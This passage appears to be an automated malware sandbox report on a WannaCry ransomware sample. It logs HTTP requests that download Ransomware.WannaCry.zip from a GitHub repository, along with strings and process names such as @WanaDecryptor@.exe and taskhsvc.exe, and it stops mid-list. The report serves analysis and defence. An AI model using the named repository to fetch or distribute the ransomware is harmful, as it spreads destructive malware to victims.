Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/overview-files/master HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: application/jsonX-Requested-With: XMLHttpRequestGitHub-Verified-Fetch: truesec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/branch-count HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36GitHub-Verified-Fetch: truesec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/used_by_list HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /assets/repositories-6a44576977d0.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/tag-count HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36GitHub-Verified-Fetch: truesec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/latest-commit/master HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/tree-commit-info/master HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/branch-count HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/overview-files/master HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/tag-count HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/html, application/xhtml+xmlTurbo-Visit: truesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurichIf-None-Match: W/"2e999df221553a6425cb9a1091418301"
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/latest-commit/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: application/jsonX-Requested-With: XMLHttpRequestGitHub-Verified-Fetch: truesec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurichIf-None-Match: W/"97c18cc82e71efdd5cf716e73ab1e4b4"
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/deferred-metadata/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: application/jsonX-Requested-With: XMLHttpRequestGitHub-Verified-Fetch: truesec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurichIf-None-Match: W/"3ca1cb8ac06e96da0082e70bd7b7c408"
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/latest-commit/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/deferred-metadata/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurichIf-None-Match: W/"3ca1cb8ac06e96da0082e70bd7b7c408"
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=W+gOxC5MR2PNrAs&MD=WW3wwygw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/raw/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/master/Ransomware.WannaCry.zip HTTP/1.1Host: raw.githubusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://github.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/master/Ransomware.WannaCry.zip HTTP/1.1Host: raw.githubusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=W+gOxC5MR2PNrAs&MD=WW3wwygw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr

String found in binary or memory: www.google.com,www.mit.edu,www.yahoo.com,www.slashdot.org equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: github.com

Source: unknown

HTTP traffic detected: POST /github/collect HTTP/1.1Host: collector.github.comConnection: keep-aliveContent-Length: 1114sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://github.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich

Source: taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	String found in binary or memory: http://freehaven.net/anonbib/#hs-attack06
Source: chromecache_814.1.dr	String found in binary or memory: http://schema.org/SoftwareSourceCode
Source: m_japanese.wnry.11.dr	String found in binary or memory: http://schemas.microso
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1426542169.000000000098A000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1423162894.0000000000989000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000045.00000000.1517699744.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000004B.00000002.1530960305.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000050.00000002.1524452290.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000052.00000002.1525784125.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000053.00000002.1526743183.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000056.00000002.1528095321.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000058.00000002.1529684373.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1530691676.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005E.00000002.1531940210.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1533260086.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000061.00000002.1534786645.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000062.00000002.1536847189.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000064.00000002.1537704878.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1539090441.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000067.00000002.1540280888.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 